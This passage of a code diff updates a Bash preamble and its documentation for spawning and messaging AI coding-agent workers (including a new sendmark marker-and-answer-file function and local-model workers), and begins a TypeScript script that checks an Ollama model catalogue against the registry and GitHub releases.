# NOT retryable in a loop: every quick-start failure code is terminal (§5.1).
[ -n "$sid" ] || { jq -c '{error,errorCode}' <<<"$q" >&2; return 1; }
# A server without advisor support DROPS the field instead of refusing it, so read it
# back: a worker silently missing the advisor it was asked for is worth one line.
if [ "$mode" = claude ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
if [ "$mode" = claude ] && [ -z "$cm" ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
[ "$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.advisorModel // empty')" != "$CODEMAN_WORKER_ADVISOR" ]; then
echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
fi
if [ -n "$cm" ] && [ "$mode" != claude ]; then
# No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
# why sendwait refuses it (400) and sendmark drives it.
r=$(_mark_up "$sid" "$mark" 45000)
[ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
delete_session "$sid" >/dev/null; return 1; }
printf '%s\n' "$sid"; return 0
fi
if [ "$mode" = deepseek ]; then
# The one non-claude mode with REAL end-of-turn signals: its TUI reports
# idle/working/blocked to Codeman, so sendwait, until=stop and the Approvals
@@ -195,10 +319,10 @@ spawn_worker() {
# order; the sessionId column is EMPTY for a spawn that failed (stderr has why).
# CONCURRENT: N workers cost about what one costs. Spawning them one Bash call at a time
# is the single biggest avoidable delay in this skill. A bare name is a claude worker;
# `beta:deepseek` makes that one a DeepSeek Harness worker, and a mixed fleet is one
# call. Case names must be UNIQUE: two workers in one case directory co-edit the same
# tree (§4), so a repeat is an error here, not a race (the mode never disambiguates two
# workers, since they would still share the directory).
# `beta:deepseek` makes that one a DeepSeek Harness worker, `summ:local` a worker on the
# local model, and a mixed fleet is one call. Case names must be UNIQUE: two workers in
# one case directory co-edit the same tree (§4), so a repeat is an error here, not a race
# (the mode never disambiguates two workers, since they would still share the directory).
spawn_workers() {
local d spec n m i=0
[ "$#" -gt 0 ] || { echo "spawn_workers: no case names given" >&2; return 1; }
@@ -232,7 +356,7 @@ spawn_workers() {
# wait that was open the whole time is what reports the turn's end. Trustworthy for a worker
# spawn_worker handed back -- claude (hooks vetted) or deepseek (status bridge) --
# and for those only. Hook-less workspaces and the other modes resolve on flapping
# idle: markers instead (§5.5). ⚠️ A dsh worker running a profile that does not
# idle: markers instead (§5.5, sendmark below). ⚠️ A dsh worker running a profile that does not
# implement the status contract is the one case that LOOKS like claude but is not:
# it accepts the send and then burns both waits. One timeout on a dsh worker whose
# pane clearly finished means that profile, so switch that worker to markers.
@@ -297,6 +421,108 @@ sendwait() {
fi
printf '%s\n' "$r"
}
# sendmark <sid> <prompt> [timeoutSec] -> one JSON line, for an AGENT worker with no
# end-of-turn signal: a `local` worker whose agent is not claude, a hook-less claude, and
# every external agent mode but deepseek (a shell worker takes §5.5's echo form instead):
# {"token":…,"delivered":true,"matched":true,"answerFile":"<path>","answer":"<text>",…}
# rc 0: the answer file was read, after the marker or once the file held still (below).
# 2: neither within the timeout (default 600 s; the worker may still be working, so nothing
# is deleted). 3: the worker's pane ended. 4: the marker printed, but no answer file turned
# up within SENDMARK_FILE_WAIT seconds of it (default 120). 1: the send or a wait failed
# (`detail` says why).
# It adds ONE sentence to your prompt (joined onto one line, as sendwait does): write the
# complete answer to codeman-answer-<token>.md in the working directory, and only then end
# the reply with the word DONE immediately followed by _<token>. The marker is split in what
# is typed, so the prompt echoing into the pane never matches it, and the token is new for
# every call (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# epoch-second seq) with a one-second `exit` wait, so `delivered` says the pane took it.
# ⚠️ A marker proves that the model printed the token. Not that it did the work, not that
# it did it right, not even that the turn is over: a reasoning model can restate the
# instruction while it plans. That is why the answer FILE is the second gate. ⚠️ And a
# full-screen agent can print the marker without it ever matching: opencode redraws its
# spinner between the pieces a model streams, so the stripped stream reads D⬝⬝O⬝⬝N⬝⬝E_⬝⬝m…
# (measured on opencode 1.3.0 on Linux, a reply streamed a character or two at a time; the screen
# showed the whole token). So the file is also the way out WITHOUT the marker: present, not
# empty, and unchanged between two rounds of the marker wait (rounds of at most 10 s), it is
# read and `matched` says false. It is read from this machine's disk, only when it is a
# regular file (a symlink is refused), at most 256 KB of it. It stays in the worker's folder
# (§5.14).
# SENDMARK_ANSWER_FILE=0 asks for the marker alone, for a worker that cannot write where it
# runs (codex in a folder it runs read-only, an agent that asks before it writes a file, a
# worker on another host): rc 0 then means only "the marker printed", and the answer is
# yours to read (last_text for codex, §5.4). Without the file there is no way out but the
# marker, so on a full-screen agent that can be rc 2 for a reply that finished.
sendmark() {
local sid="${1:?}" p="${2:?}" t="${3:-600}" tok mark file='' wd r w='' rem end start got=0 ended=0 matched=false i=0 rc=2 fp prev=''
case "$p" in *$'\n'*|*$'\r'*)
p=$(printf '%s\n' "$p" | tr '\r' '\n' | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e '/^$/d' | paste -sd ' ' -) ;;
esac
[ -n "$p" ] || { echo "sendmark: empty prompt" >&2; return 1; }
tok=$(printf 'm%x%04x' "$(date +%s)" "$RANDOM"); mark="DONE_$tok"
if [ "${SENDMARK_ANSWER_FILE:-1}" != 0 ]; then
wd=$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.workingDir // empty' 2>/dev/null)
[ -n "$wd" ] || { echo "sendmark: could not read the working directory of worker $sid" >&2; return 1; }
file="$wd/codeman-answer-$tok.md"
p="$p (When you are done: write your complete answer to the file codeman-answer-$tok.md in your current working directory, and only after that file is written, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
else
p="$p (When you are done, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
fi
r=$("${CURL[@]}" -X POST "$API/api/v1/sessions/$sid/input" -H 'Content-Type: application/json' \
--data-binary "$(jq -nc --arg p "$p" --arg c "$CID-$sid" --argjson s "$(date +%s)" \
'{input:($p+"\r"),useMux:true,clientId:$c,seq:$s,wait:"exit",waitTimeout:1000}')")
if ! jq -e '.success and .data.delivered' <<<"$r" >/dev/null 2>&1; then
jq -e '.data.wait.ended or .data.wait.signal == "exit"' <<<"$r" >/dev/null 2>&1 && rc=3 || rc=1
jq -nc --arg t "$tok" --arg r "$r" '{token:$t,delivered:false,matched:false,answerFile:null,answer:null,detail:($r | fromjson? // $r)}'
return "$rc"
fi
start=$(date +%s); end=$((start + t))
while :; do # bounded waits of at most 10 s each, until the timeout
rem=$((end - $(date +%s))); [ "$rem" -ge 1 ] || break
[ "$rem" -le 10 ] || rem=10
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait-output" --data-urlencode "match=$mark" \
--data-urlencode 'from=buffer' --data-urlencode "timeout=$((rem * 1000))")
jq -e '.data.wait.matched' <<<"$w" >/dev/null 2>&1 && { matched=true; break; }
jq -e '.data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || {
jq -nc --arg t "$tok" --arg w "$w" '{token:$t,delivered:true,matched:false,answerFile:null,answer:null,detail:($w | fromjson? // $w)}'
return 1; }
# No marker this round. The answer file is the other way out (see above): it counts once
# it is a non-empty regular file whose checksum did not change since the last round.
if [ -n "$file" ] && [ ! -L "$file" ] && [ -f "$file" ] && [ -s "$file" ]; then
fp=$(cksum < "$file"); [ "$fp" = "$prev" ] && { got=1; break; }; prev=$fp
else
prev=''
fi
done
if [ "$matched" = true ] && [ -n "$file" ]; then
while :; do
[ -L "$file" ] && { echo "sendmark: $file is a symlink, not read" >&2; break; }
[ -f "$file" ] && { got=1; break; }
[ "$i" -lt "${SENDMARK_FILE_WAIT:-120}" ] || break
# Two seconds of waiting that also notices a worker that died: an exit wait answers at
# once then. A wait that did not answer (server gone) still costs its two seconds.
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait" --data-urlencode 'until=exit' --data-urlencode 'timeout=2000')
jq -e '.data.wait.signal == "exit" or .data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || sleep 2
i=$((i + 2))
done
fi
if [ "$got" = 1 ]; then
head -c 262144 "$file" | jq -Rsc --arg t "$tok" --arg f "$file" --argjson m "$matched" \
--argjson s "$(($(date +%s) - start))" --argjson c "$(($(wc -c < "$file")))" \
'{token:$t,delivered:true,matched:$m,answerFile:$f,answer:.,truncated:($c > 262144),waitedSec:$s}'
return 0
fi
jq -nc --arg t "$tok" --arg f "$file" --argjson m "$matched" --argjson e "$ended" --argjson s "$(($(date +%s) - start))" \
'{token:$t,delivered:true,matched:$m,answerFile:(if $f == "" then null else $f end),answer:null,ended:($e == 1),waitedSec:$s}'
if [ "$matched" = true ]; then
[ -z "$file" ] && return 0
[ "$ended" = 1 ] && return 3
return 4
fi
[ "$ended" = 1 ] && return 3
return 2
}
# last_text <sid> [prev] -> that worker's last assistant message (claude, codex and
# deepseek write a real transcript; the other modes have none, so read the terminal
# instead -- §5.4). Polled, because the transcript write LAGS the stop signal, and
@@ -319,4 +545,4 @@ last_text() {
# The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
# bare on purpose: the write condition above anchors on it with $, so an inline comment
# here would fail that match and rewrite this file on every single bootstrap.
CODEMAN_PREAMBLE=1.44.0
CODEMAN_PREAMBLE=1.50.0
@@ -21,7 +21,7 @@ by sourcing the preamble file the §0 bootstrap wrote, and checking its version
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
[ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
```
Do **not** re-paste the preamble body into each call. Sourcing it is what retires the
@@ -484,7 +484,10 @@ snippet carries the exit code back to you.
For a **claude** worker with no hooks, ask for the marker in halves in the prompt
itself ("print the word WORKDONE immediately followed by `_<token>`") for the same
reason, and match the joined token. ⚠️ Against a TUI, match a single space-free token:
reason, and match the joined token. For any **agent** worker without `stop` (a hook-less
claude, a worker on the local model, every external agent mode but deepseek), the
preamble's `sendmark <sid> "<prompt>"` is exactly that in one call, and also asks for the
answer in a file it reads back: [§5.16](#516-a-worker-on-the-local-model). ⚠️ Against a TUI, match a single space-free token:
a full-screen TUI positions text with cursor movements rather than literal spaces, so
the stripped stream can read `Yes,Itrustthisfolder`, and whether a phrase keeps its
spaces depends on how the TUI happened to draw it (observed live: some match, some
@@ -814,6 +817,103 @@ Rules that matter:
- **Lifetime.** An inbox goes with its session on delete. A server restart empties all
inboxes unless the user turned on *Keep agent inbox across restarts* in Settings.
### 5.16 A worker on the local model
The detail behind [Claude in the cloud, a local model on this
Mac](../SKILL.md#claude-in-the-cloud-a-local-model-on-this-mac). Three preamble functions,
all read from source and pinned by `test/agent-skill-local-model.test.ts` against a fake
server; the local model routes themselves are experimental.
**`local_model`** is one `GET /api/v1/local-model` (the `/api/v1` alias reaches the
experimental route like any other) and prints one JSON line. Exit 0 means a `local` worker
can be spawned now (`running: true`) or once `spawn_worker` has started the runtime
(`running: false`):
```json
{"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
"endpointId":"local-ollama","modelId":"qwen3.6:35b-a3b","modelLabel":"Qwen3.6 35B-A3B"}
```
Exit 1 carries `reason` and `message` (the server's own sentence where it has one):
| `reason` | What it means | What to tell the user |
|----------|---------------|-----------------------|
| `not-mac` | the server is not on macOS | local models need a Mac with Apple silicon |
| `not-installed` | nothing installed; on a Mac where no model fits, `message` says why | install one with **Run a local model** on the welcome screen |
| `install-unfinished` | a job is installing, paused or failed (`state`, `step`, `errorCode`) | finish it in that window; nothing here continues it |
| `blocked` | installed, but the server refuses a session now (`errorCode`: `model-changed`, `port-in-use`, `runtime-start-failed`, `runtime-stopped`) | the window shows the one button that helps |
| `admin-only` | multi-user mode, and you are not an admin (403) | ask an admin |
| `unsupported` | the server has no local model routes (404) | it predates the feature |
| `unauthorized`, `unreachable`, `error` | the request itself failed | §6 for a 401 |
It never downloads, installs or starts anything. Installing is many gigabytes the person
confirms in the window, and no route this skill calls can do it.
**`spawn_worker <name> local`** (also `name:local` in `spawn_workers`), in order:
1. `local_model`; anything but exit 0 fails the spawn with that reason.
2. Runtime stopped: `POST /api/v1/local-model/runtime {"action":"start"}`, what the
window's Start button sends, then `local_model` again until it reports `running`
(about 30 s at most). This undoes a Stop the person made. Concurrent spawns may both
send it; the server runs one runtime verb at a time and keeps a runtime that runs.
3. `POST /api/v1/quick-start {"caseName":…,"mode":"<cli>","parentSessionId":…,
"customModel":{"endpointId":…,"modelId":…}}`: the launch of the window's "Start a
session", with the installed agent as the mode. No advisor, which is a cloud model.
The server checks again that its own runtime runs and that the model on disk is the one
it installed, and refuses otherwise (`OPERATION_FAILED`, with the reason).
4. An answer of `requiresContextWarning` or `requiresConfirmation` is a question for a
person (a context below the agent's safe floor, a model swap that would evict another
session's model). It fails the spawn with the answer on stderr and nothing on stdout,
and no `confirmed*` flag is ever sent.
5. Readiness: OpenCode's composer bar `┃` (its registry `promptGlyph`) through
`wait-output`, 45 s, and the session deleted on a miss. Measured on OpenCode 1.3.0 on
Linux (not yet on a Mac) with a fresh home and a custom provider: nothing draws `┃` before the composer, there was no
first-run screen, and a prompt pasted with its Enter at the first `┃` was submitted. A
claude agent takes the claude path instead (hooks vetted, `shift+tab`, the trust
dialog). Any other agent needs `LOCAL_READY_MARK` set to a space-free token its
composer draws, or the spawn is refused before a session exists.
**`sendmark <sid> <prompt> [timeoutSec]`** drives it, and any other agent worker without
an end-of-turn signal ([§5.5](#55-markers-for-hook-less-workers)):
- It joins the prompt onto one line and adds one sentence: write the complete answer to
`codeman-answer-<token>.md` in the working directory, and only then end the reply with
the word DONE immediately followed by `_<token>`. The typed text never holds the joined
marker, so its echo cannot match.
- It sends once with the exactly-once body (`$CID-<sid>`, an epoch-second `seq`, one `\r`)
and a one-second `exit` wait, so `delivered` is the pane's answer, not a guess.
- It waits on `wait-output?match=DONE_<token>&from=buffer` in rounds of at most 10 s until
the timeout (default 600 s), then reads the answer file from this machine's disk: only a
regular file (a symlink is refused), at most 256 KB.
- ⚠️ A full-screen agent can print the marker without it ever matching. OpenCode redraws
its spinner between the pieces a model streams, so with a reply streamed a character or
two at a time the stripped stream read `D⬝⬝O⬝⬝N⬝⬝E_⬝⬝m…` while the screen showed the whole
token (measured on OpenCode 1.3.0 on Linux). So between rounds it also looks at the answer file:
once it is non-empty and its checksum held still from one round to the next, it is read
and the wait ends with `matched: false`.
| exit | JSON | Meaning |
|------|------|---------|
| 0 | `answer` holds the file | the file was read: after the marker (`matched: true`), or once it held still (`matched: false`) |
| 2 | `matched: false` | neither the marker nor a settled file before the timeout. The worker may still be working: re-check the pane, never resend blindly |
| 3 | `ended: true` or `delivered: false` | the worker's pane ended. A pane that ended after it wrote the file but before the marker matched leaves `codeman-answer-<token>.md` in its folder: look there yourself |
| 4 | `matched: true, answer: null` | the marker printed, but no file within `SENDMARK_FILE_WAIT` s (default 120): the model ignored the instruction, or a reasoning model restated the marker while planning and is still at work |
| 1 | `detail` | the send or a wait failed |
What a marker proves, and what it does not: the model printed the token. Not that the
work is done, not that it is right, and with a reasoning model not even that the turn is
over, which is why the file is the second gate. What a small local model writes is a
first draft; review it before you build on it. The answer files stay in the worker's
folder, a scratch case that [§5.14](#514-clean-up) lists for cleanup.
`SENDMARK_ANSWER_FILE=0` asks for the marker alone, for a worker that cannot write where
it runs (codex in a folder it runs read-only, an agent that asks before it writes a file,
a worker on another host): exit 0 then means only that the marker printed, and with no
file to fall back on, a full-screen agent can answer exit 2 for a reply that finished. A
worker that stops on such a question shows up here as exit 2, not as an error.
Close every local worker you opened: while one is open the window refuses Stop and
Remove, naming it.
## Experimental bounded inspection and guarded submission
These three commands and their HTTP routes are labeled experimental, so they may
+791
View File
@@ -0,0 +1,791 @@
#!/usr/bin/env -S npx tsx
/**
* The weekly check of the local model catalogue (src/config/local-model-catalog.ts) and of the
* pinned model runtime (OLLAMA_RUNTIME_PIN in src/local-model/runtime.ts) against what the
* registry and Ollama's releases serve today.
*
* npx tsx scripts/check-local-model-catalog.mjs # markdown report on stdout
* npm run check:local-model-catalog # the same
*
* Exit code: 0 nothing drifted, 1 drift found, 2 the check itself failed (network, an answer
* that does not parse, a catalogue that does not validate). On 2 the report is still printed
* with everything that was found, but it is incomplete, so nothing should act on it.
* `.github/workflows/local-model-catalog.yml` runs it every Monday and keeps one issue current.
*
* Runs under tsx because it imports the TypeScript catalogue and pin, and imports them only in
* main(), so the test imports the pure parts without them.
*
* WHAT A MAC DOWNLOADS. A tag is not one build. Asked with the Accept header Ollama 0.40.15
* sends (`pullModelManifest` in server/images.go), the registry answers a manifest LIST for
* some tags, one child per runner, and Ollama on Apple silicon takes the first child whose
* runner is `mlx`, else `llamacpp`, else `ggml` (`runnerPreferences()` in manifest/manifest.go).
* Asked with the plain Docker Accept header the registry answers the llamacpp child instead,
* which is NOT what a Mac pulls: that is how `qwen3.6:35b-a3b` came to be "2% above its
* manifest" in the catalogue header. So this check asks the way Ollama asks, picks the child
* the way a Mac picks it, and compares the row's `bytes` with that child's pull total (every
* layer plus the config, which is exactly the `total` a real pull reported on a Mac). A row
* that names its `runner` is also held to that child's runner (`catalogueRunner()`), because
* the memory figures of a row follow its runner and a change of runner can come with almost
* the same size.
*
* WHAT IS FETCHED, and nothing else:
* - `GET /v2/library/<name>/manifests/<tag>`, the tag's manifest or manifest list.
* - For a list: `GET /v2/library/<name>/blobs/<digest>` for each child the list names. A child
* manifest is stored as a blob (Ollama fetches it the same way, `pullSelectedManifest`). It
* is metadata: about 220 KB for an MLX build of 1,055 tensors.
* - `GET .../blobs/<digest>` for the config of the child a Mac selects, a few hundred bytes,
* for its `requires` (the oldest Ollama that may pull it).
* - The GitHub API: the newest release of ollama/ollama, and the release of the pinned version.
* A digest from a `layers` entry is never requested: no model weights are ever downloaded.
* Every request has its own timeout and a byte cap, nothing is retried, every blob is checked
* against its digest, and `GITHUB_TOKEN` is sent to api.github.com only, when it is set.
*
* THE DIGEST CONTRACT. A row may pin the build it describes as `digest`: the digest of the
* manifest a Mac pulls, which is the value `/api/tags` reports after the pull (`sha256:<hex>` or
* the bare hex). The catalogue schema does not have that field yet: `LocalModelEntrySchema` is
* strict, so it must gain an optional `digest` before a row can carry one, under exactly that
* name, or this check never compares it. The catalogue keeps no digest today on purpose
* (test/local-model-catalog.test.ts, "holds no download data", refuses a `sha256` in it), so
* pinning digests changes that rule too: a decision for the catalogue, not for this script.
* Until then the report lists the digests to pin, and a rebuild of about the same size goes
* unnoticed (a change of build, mlx against gguf, never does: every pair seen so far differs
* by 2% or more, far past the size tolerance, and a row that names its runner is held to it).
*
* Everything that reaches the report from the network is validated first (digests, sizes,
* runner and format names, version tags), because the workflow puts the report in an issue.
*
* NOT CHECKED: the memory figures, the speeds and whether a coding agent works with a model.
* No manifest says anything about those; they change only when somebody measures on a Mac.
*/
import { createHash } from 'node:crypto';
import { resolve } from 'node:path';
import { fileURLToPath } from 'node:url';
// ---------- Constants ----------
export const REGISTRY_BASE = 'https://registry.ollama.ai';
export const GITHUB_API_BASE = 'https://api.github.com';
/** The repository whose releases the runtime pin follows. */
export const RUNTIME_REPO = 'ollama/ollama';
export const MEDIA_TYPE_MANIFEST = 'application/vnd.docker.distribution.manifest.v2+json';
export const MEDIA_TYPE_MANIFEST_LIST = 'application/vnd.ollama.manifest.list.v2+json';
/** The Accept header of Ollama 0.40.15's own manifest request: the list first. */
export const MANIFEST_ACCEPT = `${MEDIA_TYPE_MANIFEST_LIST}, ${MEDIA_TYPE_MANIFEST}`;
/** The runner order of Ollama 0.40.15 on darwin/arm64 (`runnerPreferences()`). */
export const MAC_RUNNER_PREFERENCE = Object.freeze(['mlx', 'llamacpp', 'ggml']);
/** Format names the report prints as they are. Anything else is printed as `unknown`. */
export const KNOWN_FORMATS = Object.freeze(['safetensors', 'gguf']);
/**
* How far the size a Mac downloads may sit from the row's `bytes` before it is drift: 0.1%.
* The rows that were sized from layers alone sit a few hundred bytes (the config) below the
* pull total; any rebuilt model moves by far more than this.
*/
export const SIZE_TOLERANCE_FRACTION = 0.001;
/** One request may take this long, connection and body together. */
export const REQUEST_TIMEOUT_MS = 20_000;
/** A manifest or child manifest larger than this is refused. The MLX build of the 35B is 220 KB. */
export const MAX_MANIFEST_BYTES = 4 * 1024 * 1024;
/** A config blob larger than this is refused. They are a few hundred bytes. */
export const MAX_CONFIG_BYTES = 64 * 1024;
/** A GitHub release answer larger than this is refused. */
export const MAX_GITHUB_BYTES = 4 * 1024 * 1024;
/** A manifest list with more children than this is refused. */
export const MAX_LIST_CHILDREN = 8;
/** A manifest with more layers than this is refused. */
export const MAX_LAYERS = 20_000;
const DIGEST_PATTERN = /^sha256:[0-9a-f]{64}$/;
const VERSION_PATTERN = /^v?(\d{1,6})\.(\d{1,6})\.(\d{1,6})$/;
const RELEASE_TAG_PATTERN = /^v\d{1,6}\.\d{1,6}\.\d{1,6}$/;
const ISO_DAY_PATTERN = /^(\d{4}-\d{2}-\d{2})T/;
const USER_AGENT = 'codeman-local-model-catalog-check';
/** The check could not finish: the run ends with exit code 2. */
export class CheckFailure extends Error {
constructor(message) {
super(message);
this.name = 'CheckFailure';
}
}
// ---------- Pure helpers ----------
/** `name:tag` into its two parts. The catalogue's pattern already rules out a slash. */
export function splitModelId(id) {
const colon = id.indexOf(':');
if (colon <= 0 || colon === id.length - 1 || id.includes('/')) throw new CheckFailure(`not a name:tag model id: ${id}`);
return { name: id.slice(0, colon), tag: id.slice(colon + 1) };
}
/** `sha256:<hex>` of a body, the way the registry names it. */
export function sha256Digest(bytes) {
return `sha256:${createHash('sha256').update(bytes).digest('hex')}`;
}
/** A digest as `sha256:<64 hex>`, accepting the bare hex `/api/tags` prints. Anything else: undefined. */
export function normalizeDigest(value) {
if (typeof value !== 'string') return undefined;
const text = value.trim().toLowerCase();
const full = text.startsWith('sha256:') ? text : `sha256:${text}`;
return DIGEST_PATTERN.test(full) ? full : undefined;
}
/** A runner name as Ollama compares it (lowercase, trimmed). */
export function canonicalRunner(runner) {
return typeof runner === 'string' ? runner.trim().toLowerCase() : '';
}
/** A runner or format name for the report: one of the known names, else `unknown`. */
export function displayName(value, known) {
const name = canonicalRunner(value);
return known.includes(name) ? name : 'unknown';
}
function isSize(value) {
return Number.isSafeInteger(value) && value >= 0;
}
/**
* What a pull of this manifest downloads, in bytes: every layer plus the config. Throws on a
* manifest that is not shaped like one, so a malformed answer never reads as a size.
*/
export function pullTotalBytes(manifest) {
if (!manifest || typeof manifest !== 'object') throw new CheckFailure('the manifest is not an object');
const { config, layers } = manifest;
if (!Array.isArray(layers) || layers.length === 0) throw new CheckFailure('the manifest has no layers');
if (layers.length > MAX_LAYERS) throw new CheckFailure(`the manifest has more than ${MAX_LAYERS} layers`);
if (!config || !isSize(config.size)) throw new CheckFailure('the manifest has no config size');
let total = config.size;
for (const layer of layers) {
if (!layer || !isSize(layer.size)) throw new CheckFailure('a layer of the manifest has no size');
total += layer.size;
}
if (!Number.isSafeInteger(total)) throw new CheckFailure('the manifest total is not a safe integer');
return total;
}
/**
* The child of a manifest list that Ollama 0.40.15 on Apple silicon pulls: for each runner in
* `MAC_RUNNER_PREFERENCE`, the first child (in list order) with that runner. A child whose
* mediaType is set to anything but a plain manifest is skipped, as Ollama skips it. Undefined
* when no child has a runner a Mac runs.
*/
export function selectMacChild(children) {
if (!Array.isArray(children)) return undefined;
for (const runner of MAC_RUNNER_PREFERENCE) {
const child = children.find(
(entry) =>
entry &&
(entry.mediaType === undefined || entry.mediaType === '' || entry.mediaType === MEDIA_TYPE_MANIFEST) &&
canonicalRunner(entry.runner) === runner
);
if (child) return child;
}
return undefined;
}
/**
* The runner and format Ollama assumes for a manifest that names neither, from its config's
* `model_format` (`MetadataForConfig()` in manifest/manifest.go): safetensors runs on mlx,
* gguf on ggml.
*/
export function metadataForConfig(config) {
const format = canonicalRunner(config?.model_format);
if (format === 'safetensors') return { runner: 'mlx', format: 'safetensors' };
if (format === 'gguf' || format === 'ggml') return { runner: 'ggml', format: 'gguf' };
return { runner: '', format };
}
/**
* A runner name in the catalogue's words (`LocalModelEntry.runner`): `mlx`, or `llamacpp` for a
* GGUF build, which Ollama 0.40.15 serves through llama-server whether the manifest names it
* `llamacpp` or names nothing (`ggml`, see `metadataForConfig()`). Undefined for anything else.
*/
export function catalogueRunner(runner) {
const name = canonicalRunner(runner);
if (name === 'mlx') return 'mlx';
if (name === 'llamacpp' || name === 'ggml') return 'llamacpp';
return undefined;
}
/** `[major, minor, patch]` of a version or `v`-tag, or undefined when it is not one. */
export function parseVersion(text) {
const match = typeof text === 'string' ? VERSION_PATTERN.exec(text.trim()) : null;
return match ? [Number(match[1]), Number(match[2]), Number(match[3])] : undefined;
}
/** Negative when `a` is older than `b`, 0 when equal, positive when newer. Both must parse. */
export function compareVersions(a, b) {
const left = parseVersion(a);
const right = parseVersion(b);
if (!left || !right) throw new CheckFailure(`cannot compare versions ${a} and ${b}`);
for (let i = 0; i < 3; i++) if (left[i] !== right[i]) return left[i] - right[i];
return 0;
}
/** The signed difference of `actual` from `expected`, as a fraction of `expected`. */
export function sizeDifference(expected, actual) {
return (actual - expected) / expected;
}
/** Whether `actual` lies within `SIZE_TOLERANCE_FRACTION` of `expected`. */
export function withinTolerance(expected, actual, tolerance = SIZE_TOLERANCE_FRACTION) {
return Math.abs(actual - expected) <= expected * tolerance;
}
/**
* The findings for one catalogue row. `row` is `{ id, bytes, runner?, digest? }` (`runner` once
* the catalogue names it, `digest` only once the catalogue stores one); `observed` is what
* `inspectModel()` returned for it. A row may have several findings; none means it is clean.
*
* - `gone`: the tag is not in the registry, so a pull fails.
* - `runner`: a Mac now pulls a build of another runner than the row names (a tag that became
* a list with an mlx child, or the other way round). The two runners spend memory
* differently, so the row's memory figures no longer describe what runs, whatever the size.
* - `size`: what a Mac downloads is outside the tolerance of the row's `bytes`.
* - `digest`: the row pins a digest and a Mac would now pull another one.
* - `requires`: the build a Mac pulls declares a newer Ollama than the pinned runtime, so the
* pinned runtime refuses the pull.
*/
export function classifyModel(row, observed, pinnedVersion) {
if (observed.gone) return [{ kind: 'gone' }];
const findings = [];
const mac = observed.mac;
if (row.runner !== undefined) {
const actual = catalogueRunner(mac.runner) ?? 'unknown';
if (actual !== row.runner) findings.push({ kind: 'runner', expected: String(row.runner), actual });
}
if (!withinTolerance(row.bytes, mac.bytes)) {
findings.push({ kind: 'size', expected: row.bytes, actual: mac.bytes, fraction: sizeDifference(row.bytes, mac.bytes) });
}
const pinned = normalizeDigest(row.digest);
if (row.digest !== undefined && pinned !== mac.digest) {
findings.push({ kind: 'digest', expected: pinned ?? 'not a sha256 digest', actual: mac.digest });
}
if (mac.requires && compareVersions(mac.requires, pinnedVersion) > 0) {
findings.push({ kind: 'requires', requires: mac.requires, pinned: pinnedVersion });
}
return findings;
}
/**
* The findings for the runtime pin. `observed` is what `inspectRuntime()` returned.
*
* - `behind`: a newer Ollama release exists than the pinned one.
* - `pinned-release-gone`, `pinned-asset-gone`: the pinned download no longer exists, so every
* new install fails at the runtime step.
* - `pinned-asset-changed`: the pinned asset's size or sha256 no longer matches the pin. Every
* install already refuses it at the hash compare; this is also what a replaced release
* asset looks like, so read it as a security signal first.
*/
export function classifyRuntime(pin, observed) {
const findings = [];
if (compareVersions(observed.latest.version, pin.version) > 0) {
findings.push({ kind: 'behind', pinned: pin.version, latest: observed.latest.version });
}
if (observed.pinned.gone) findings.push({ kind: 'pinned-release-gone' });
else if (!observed.pinned.asset) findings.push({ kind: 'pinned-asset-gone' });
else {
const { size, digest } = observed.pinned.asset;
if (size !== pin.bytes || (digest !== undefined && digest !== `sha256:${pin.sha256}`)) {
findings.push({ kind: 'pinned-asset-changed', size, digest });
}
}
return findings;
}
/** 0 clean, 1 drift, 2 the check failed. A failure anywhere wins over drift anywhere. */
export function exitCodeFor(result) {
const failed =
result.errors.length > 0 || result.models.some((model) => model.error) || Boolean(result.runtime?.error);
if (failed) return 2;
const drift =
result.models.some((model) => model.findings.length > 0) || (result.runtime?.findings.length ?? 0) > 0;
return drift ? 1 : 0;
}
// ---------- Report ----------
/** 1234567 as `1,234,567`, independent of the locale. */
export function groupDigits(value) {
return String(value).replace(/\B(?=(\d{3})+(?!\d))/g, ',');
}
/** A fraction as a signed percentage with two decimals: `+16.61%`. */
export function formatPercent(fraction) {
const text = (fraction * 100).toFixed(2);
return fraction > 0 ? `+${text}%` : `${text}%`;
}
/** Error text for the report: one line, backticks made quotes, at most 200 characters. */
function oneLine(text) {
const flat = String(text)
.replace(/[\u0000-\u001f\u007f]+/g, ' ')
.replace(/`/g, "'")
.replace(/ {2,}/g, ' ')
.trim();
return flat.length > 200 ? `${flat.slice(0, 200)}...` : flat;
}
function buildName(variant) {
return `${displayName(variant.runner, MAC_RUNNER_PREFERENCE)}, ${displayName(variant.format, KNOWN_FORMATS)}`;
}
function modelResult(model) {
if (model.error) return 'check failed';
if (model.findings.length === 0) return 'ok';
const names = {
gone: 'tag gone',
runner: 'runner changed',
size: 'size drift',
digest: 'digest changed',
requires: 'needs a newer runtime',
};
return model.findings.map((finding) => names[finding.kind]).join(', ');
}
function describeModelFinding(model, finding) {
const id = `\`${model.id}\``;
switch (finding.kind) {
case 'gone':
